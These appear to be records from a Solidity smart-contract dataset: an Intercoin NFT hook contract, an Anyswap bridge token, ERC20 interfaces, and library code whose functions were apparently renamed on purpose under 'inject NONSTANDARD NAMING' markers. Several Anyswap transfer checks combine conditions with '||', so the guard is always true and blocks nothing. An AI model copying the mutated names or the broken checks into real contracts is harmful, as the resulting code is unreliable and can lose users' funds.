currency address of token to pay with * @param price amount of specified token to pay * @param safe use safeMint and safeTransfer or not * @param hookCount number of hooks */ function buy( uint256 tokenId, address currency, uint256 price, bool safe, uint256 hookCount ) external { validateHookCount(tokenId, hookCount); super.buy(tokenId, currency, price, safe); } /** * @dev link safeHook contract to certain series * @param seriesId series ID * @param contractAddress address of SafeHook contract */ function pushTokenTransferHook( uint256 seriesId, address contractAddress ) public onlyOwner { try ISafeHook(contractAddress).supportsInterface(type(ISafeHook).interfaceId) returns (bool success) { if (success) { hooks[seriesId].add(contractAddress); } else { revert("wrong interface"); } } catch { revert("wrong interface"); } emit NewHook(seriesId, contractAddress); } /** * @dev returns the list of hooks for series with `seriesId` * @param seriesId series ID */ function getHookList( uint256 seriesId ) external view returns(address[] memory) { uint256 len = hooksCount(seriesId); address[] memory allHooks = new address[](len); for (uint256 i = 0; i < hooksCount(seriesId); i++) { allHooks[i] = hooks[seriesId].at(i); } return allHooks; } /** * @dev returns count of hooks for series with `seriesId` * @param seriesId series ID */ function hooksCount( uint256 seriesId ) internal view returns(uint256) { return hooks[seriesId].length(); } /** * @dev validates hook count * @param tokenId token ID * @param hookCount hook count */ function validateHookCount( uint256 tokenId, uint256 hookCount ) internal view { uint256 seriesId = tokenId >> SERIES_SHIFT_BITS; require(hookCount == hooksCount(seriesId), "wrong hookCount"); } /** * @param name_ name * @param symbol_ symbol */ function __ERC721SafeHook_init( string memory name_, string memory symbol_, address costManager_, address msgSender_ ) internal initializer { __ERC721_init(name_, symbol_, costManager_, msgSender_); } /** * @dev Overriden function _beforeTokenTransfer with * hooks executing */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { uint256 seriesId = tokenId >> SERIES_SHIFT_BITS; for (uint256 i = 0; i < hooksCountByToken[tokenId]; i++) { try ISafeHook(hooks[seriesId].at(i)).executeHook(from, to, tokenId) returns (bool success) { if (!success) { revert("Transfer Not Authorized"); } } catch Error(string memory reason) { // This is executed in case revert() was called with a reason revert(reason); } catch { revert("Transfer Not Authorized"); } } super._beforeTokenTransfer(from, to, tokenId); } /** * @dev overriden _mint function. * Here we remember count of series hooks at this moment. * So further hooks will not apply for this token */ function _mint( address to, uint256 tokenId ) internal virtual override { _storeHookCount(tokenId); super._mint(to, tokenId); } /** * @dev overriden _buy function. * Here we remember count of series hooks at this moment. * So further hooks will not apply for this token */ function _buy( uint256 tokenId, bool exists, SaleInfo memory data, address owner, bool safe ) internal override { _storeHookCount(tokenId); super._buy(tokenId, exists, data, owner, safe); } /** * @dev used to storage hooksCountByToken at this moment */ function _storeHookCount( uint256 tokenId ) internal { hooksCountByToken[tokenId] = hooks[tokenId >> SERIES_SHIFT_BITS].length(); } } // File: contracts/presets/NFTSafeHook.sol /** Although this code is available for viewing on GitHub and Etherscan, it is NOT licensed to the general public. To prevent confusion and increase trust in the audited code bases of smart contracts we produce, we intend for there to be only ONE official Factory address on the blockchain producing these NFT smart contracts, and we are going to point a blockchain domain name at it. Copyright (c) Intercoin Inc. All rights reserved. However, the general public is welcome to use this official Factory to produce instances for their use. We may begin requiring staking of ITR tokens in order to take actions (such as producing series and minting tokens). If you are looking to obtain ITR tokens or custom work done with your NFT projects, visit intercoin.org Any user of software powered by this code must agree to the following, in order to use it. If you do not agree, refrain from using the software: DISCLAIMERS AND DISCLOSURES. Customer expressly recognizes that nearly any software may contain unforeseen bugs or other defects, due to the nature of software development. Moreover, because of the immutable nature of smart contracts, any such defects will persist in the software once it is deployed onto the blockchain. Customer therefore expressly acknowledges that no outside audits of the software have been conducted, and any responsibility to obtain such audits and analysis of any software produced by Developer rests solely with Customer. Customer understands and acknowledges that the Software is being delivered as-is, and may contain potential defects. While Developer and its staff and partners have exercised care and best efforts in an attempt to produce solid, working software products, Developer EXPRESSLY DISCLAIMS MAKING ANY GUARANTEES, REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, ABOUT THE FITNESS OF THE SOFTWARE, INCLUDING LACK OF DEFECTS, MERCHANTABILITY OR SUITABILITY FOR A PARTICULAR PURPOSE. Customer agrees that neither Developer nor any other party has made any representations or warranties, nor has the Customer relied on any representations or warranties, express or implied, including any implied warranty of merchantability or fitness for any particular purpose with respect to the Software. Customer acknowledges that no affirmation of fact or statement (whether written or oral) made by Developer, its representatives, or any other party outside of this Agreement with respect to the Software shall be deemed to create any express or implied warranty on the part of Developer or its representatives. INDEMNIFICATION. Customer agrees to indemnify, defend and hold Developer and its officers, directors, employees, agents and contractors harmless from any loss, cost, expense (including attorney’s fees and expenses), associated with or related to any demand, claim, liability, damages or cause of action of any kind or character (collectively referred to as “claim”), in any manner arising out of or relating to any third party demand, dispute, mediation, arbitration, litigation, or any violation or breach of any provision of this Agreement by Customer. NO WARRANTY. THE SOFTWARE IS PROVIDED “AS IS” WITHOUT WARRANTY. DEVELOPER SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, OR EXEMPLARY DAMAGES FOR BREACH OF THE LIMITED WARRANTY. TO THE MAXIMUM EXTENT PERMITTED BY LAW, DEVELOPER EXPRESSLY DISCLAIMS, AND CUSTOMER EXPRESSLY WAIVES, ALL OTHER WARRANTIES, WHETHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR USE, OR ANY WARRANTY ARISING OUT OF ANY PROPOSAL, SPECIFICATION, OR SAMPLE, AS WELL AS ANY WARRANTIES THAT THE SOFTWARE (OR ANY ELEMENTS THEREOF) WILL ACHIEVE A PARTICULAR RESULT, OR WILL BE UNINTERRUPTED OR ERROR-FREE. THE TERM OF ANY IMPLIED WARRANTIES THAT CANNOT BE DISCLAIMED UNDER APPLICABLE LAW SHALL BE LIMITED TO THE DURATION OF THE FOREGOING EXPRESS WARRANTY PERIOD. SOME STATES DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES AND/OR DO NOT ALLOW LIMITATIONS ON THE AMOUNT OF TIME AN IMPLIED WARRANTY LASTS, SO THE ABOVE LIMITATIONS MAY NOT APPLY TO CUSTOMER. THIS LIMITED WARRANTY GIVES CUSTOMER SPECIFIC LEGAL RIGHTS. CUSTOMER MAY HAVE OTHER RIGHTS WHICH VARY FROM STATE TO STATE. LIMITATION OF LIABILITY. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL DEVELOPER BE LIABLE UNDER ANY THEORY OF LIABILITY FOR ANY CONSEQUENTIAL, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE OR EXEMPLARY DAMAGES OF ANY KIND, INCLUDING, WITHOUT LIMITATION, DAMAGES ARISING FROM LOSS OF PROFITS, REVENUE, DATA OR USE, OR FROM INTERRUPTED COMMUNICATIONS OR DAMAGED DATA, OR FROM ANY DEFECT OR ERROR OR IN CONNECTION WITH CUSTOMER'S ACQUISITION OF SUBSTITUTE GOODS OR SERVICES OR MALFUNCTION OF THE SOFTWARE, OR ANY SUCH DAMAGES ARISING FROM BREACH OF CONTRACT OR WARRANTY OR FROM NEGLIGENCE OR STRICT LIABILITY, EVEN IF DEVELOPER OR ANY OTHER PERSON HAS BEEN ADVISED OR SHOULD KNOW OF THE POSSIBILITY OF SUCH DAMAGES, AND NOTWITHSTANDING THE FAILURE OF ANY REMEDY TO ACHIEVE ITS INTENDED PURPOSE. WITHOUT LIMITING THE FOREGOING OR ANY OTHER LIMITATION OF LIABILITY HEREIN, REGARDLESS OF THE FORM OF ACTION, WHETHER FOR BREACH OF CONTRACT, WARRANTY, NEGLIGENCE, STRICT LIABILITY IN TORT OR OTHERWISE, CUSTOMER'S EXCLUSIVE REMEDY AND THE TOTAL LIABILITY OF DEVELOPER OR ANY SUPPLIER OF SERVICES TO DEVELOPER FOR ANY CLAIMS ARISING IN ANY WAY IN CONNECTION WITH OR RELATED TO THIS AGREEMENT, THE SOFTWARE, FOR ANY CAUSE WHATSOEVER, SHALL NOT EXCEED 1,000 USD. ENTIRE AGREEMENT This Agreement contains the entire agreement and understanding among the parties hereto with respect to the subject matter hereof, and supersedes all prior and contemporaneous agreements, understandings, inducements and conditions, express or implied, oral or written, of any nature whatsoever with respect to the subject matter hereof. The express terms hereof control and supersede any course of performance and/or usage of the trade inconsistent with any of the terms hereof. Provisions from previous Agreements executed between Customer and Developer., which are not expressly dealt with in this Agreement, will remain in effect. SUCCESSORS AND ASSIGNS This Agreement shall continue to apply to any successors or assigns of either party, or any corporation or other entity acquiring all or substantially all the assets and business of either party whether by operation of law or otherwise. ARBITRATION All disputes related to this agreement shall be governed by and interpreted in accordance with the laws of New York, without regard to principles of conflict of laws. The parties to this agreement will submit all disputes arising under this agreement to arbitration in New York City, New York before a single arbitrator of the American Arbitration Association (“AAA”). The arbitrator shall be selected by application of the rules of the AAA, or by mutual agreement of the parties, except that such arbitrator shall be an attorney admitted to practice law New York. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. **/ pragma solidity ^0.8.0; pragma abicoder v2; /** * NFT with safe hooks support */ contract NFTSafeHook is ERC721SafeHooksUpgradeable { /** * @notice initializes contract */ function initialize( string memory name_, string memory symbol_, string memory contractURI_, address costManager_, address producedBy_ ) public initializer { __Ownable_init(); __ReentrancyGuard_init(); __ERC721SafeHook_init(name_, symbol_, costManager_, producedBy_); _contractURI = contractURI_; } }
buys NFT for specified currency with defined id. mint token if it doesn't exist and transfer token if it exists and is on sale tokenId token ID to buy currency address of token to pay with price amount of specified token to pay safe use safeMint and safeTransfer or not/ commissions payment
function buy(uint256 tokenId, address currency, uint256 price, bool safe) public nonReentrant { (bool success, bool exists, SaleInfo memory data, address owner) = getTokenSaleInfo(tokenId); require(success, "token is not on sale"); require(currency == data.currency, "wrong currency for sale"); uint256 allowance = IERC20Upgradeable(data.currency).allowance(_msgSender(), address(this)); require(allowance >= data.price && price >= data.price, "insufficient amount"); uint256 left = data.price; (address[2] memory addresses, uint256[2] memory values, uint256 length) = calculateCommission(tokenId, data.price); for(uint256 i = 0; i < length; i++) { IERC20Upgradeable(data.currency).transferFrom(_msgSender(), addresses[i], values[i]); left -= values[i]; } IERC20Upgradeable(data.currency).transferFrom(_msgSender(), owner, left); _buy(tokenId, exists, data, owner, safe); uint64 seriesId = getSeriesId(tokenId); _accountForOperation( (OPERATION_BUY << OPERATION_SHIFT_BITS) | seriesId, uint256(uint160(currency)), price ); }
5,384,762
/** *Submitted for verification at FtmScan.com on 2022-03-17 */ /** *Submitted for verification at BscScan.com on 2022-03-15 */ /** *Submitted for verification at BscScan.com on 2022-03-11 */ /** *Submitted for verification at BscScan.com on 2022-03-09 */ /** *Submitted for verification at BscScan.com on 2022-02-11 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); } /// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can /// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface IAnyswapV3ERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AnyswapV6ERC20 is IAnyswapV3ERC20 { using SafeERC20 for IERC20; string public name; string public symbol; uint8 public immutable override decimals; address public immutable underlying; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping (address => uint256) public override balanceOf; uint256 private _totalSupply; // init flag for setting immediate vault, needed for CREATE2 support bool private _init; // flag to enable/disable swapout vs vault.burn so multiple events are triggered bool private _vaultOnly; // configurable delay for timelock functions uint public delay = 2*24*3600; // set of minters, can be this bridge or other bridges mapping(address => bool) public isMinter; address[] public minters; // primary controller of the token contract address public vault; address public pendingMinter; uint public delayMinter; address public pendingVault; uint public delayVault; modifier onlyAuth() { require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN"); _; } modifier onlyVault() { require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN"); _; } function owner() public view returns (address) { return mpc(); } function mpc() public view returns (address) { if (block.timestamp >= delayVault) { return pendingVault; } return vault; } function setVaultOnly(bool enabled) external onlyVault { _vaultOnly = enabled; } function initVault(address _vault) external onlyVault { require(_init); vault = _vault; pendingVault = _vault; isMinter[_vault] = true; minters.push(_vault); delayVault = block.timestamp; _init = false; } function setVault(address _vault) external onlyVault { require(_vault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = _vault; delayVault = block.timestamp + delay; } function applyVault() external onlyVault { require(block.timestamp >= delayVault); vault = pendingVault; } function setMinter(address _auth) external onlyVault { require(_auth != address(0), "AnyswapV3ERC20: address(0x0)"); pendingMinter = _auth; delayMinter = block.timestamp + delay; } function applyMinter() external onlyVault { require(block.timestamp >= delayMinter); isMinter[pendingMinter] = true; minters.push(pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _auth) external onlyVault { isMinter[_auth] = false; } function getAllMinters() external view returns (address[] memory) { return minters; } function changeVault(address newVault) external onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); vault = newVault; pendingVault = newVault; emit LogChangeVault(vault, pendingVault, block.timestamp); return true; } function mint(address to, uint256 amount) external onlyAuth returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public returns (bool) { require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth"); require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } /// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}. /// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times. mapping (address => uint256) public override nonces; /// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}. mapping (address => mapping (address => uint256)) public override allowance; event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime); event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount); event LogSwapout(address indexed account, address indexed bindaddr, uint amount); constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) { name = _name; symbol = _symbol; decimals = _decimals; underlying = _underlying; if (_underlying != address(0x0)) { require(_decimals == IERC20(_underlying).decimals()); } // Use init to allow for CREATE2 accross all chains _init = true; // Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens _vaultOnly = false; vault = _vault; pendingVault = _vault; delayVault = block.timestamp; uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } /// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract. function totalSupply() external view override returns (uint256) { return _totalSupply; } function deposit() external returns (uint) { uint _amount = IERC20(underlying).balanceOf(msg.sender); IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount); return _deposit(_amount, msg.sender); } function deposit(uint amount) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, msg.sender); } function deposit(uint amount, address to) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, to); } function depositVault(uint amount, address to) external onlyVault returns (uint) { return _deposit(amount, to); } function _deposit(uint amount, address to) internal returns (uint) { require(underlying != address(0x0) && underlying != address(this)); _mint(to, amount); return amount; } function withdraw() external returns (uint) { return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender); } function withdraw(uint amount) external returns (uint) { return _withdraw(msg.sender, amount, msg.sender); } function withdraw(uint amount, address to) external returns (uint) { return _withdraw(msg.sender, amount, to); } function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) { return _withdraw(from, amount, to); } function _withdraw(address from, uint amount, address to) internal returns (uint) { _burn(from, amount); IERC20(underlying).safeTransfer(to, amount); return amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } /// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval. /// Emits {Approval} event. /// Requirements: /// - `deadline` must be timestamp in future. /// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. /// - the signature must use `owner` account's current nonce (see {nonces}). /// - the signer cannot be zero address and must be `owner` account. /// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. /// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[target][spender] = value; emit Approval(target, spender, value); } function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[target]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[target] = balance - value; balanceOf[to] += value; emit Transfer(target, to, value); return true; } function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism. /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`), /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. /// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != msg.sender) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][msg.sender]; if (allowed != type(uint256).max) { require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][msg.sender] = reduced; emit Approval(from, msg.sender, reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } }
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
563,149
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; abstract contract Context { function _MSGSENDER921() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA742() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.2; library Address { function ISCONTRACT147(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE256(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function FUNCTIONCALL932(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALL932(target, data, "Address: low-level call failed"); } function FUNCTIONCALL932(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING return _FUNCTIONCALLWITHVALUE188(target, data, 0, errorMessage); } function FUNCTIONCALLWITHVALUE867(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALLWITHVALUE867(target, data, value, "Address: low-level call with value failed"); } function FUNCTIONCALLWITHVALUE867(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING require(address(this).balance >= value, "Address: insufficient balance for call"); return _FUNCTIONCALLWITHVALUE188(target, data, value, errorMessage); } function _FUNCTIONCALLWITHVALUE188(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING require(ISCONTRACT147(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.2; library SafeMath { function ADD927(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB159(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB159(a, b, "SafeMath: subtraction overflow"); } function SUB159(uint256 a, uint256 b, string memory errorMessage) internal pure returns 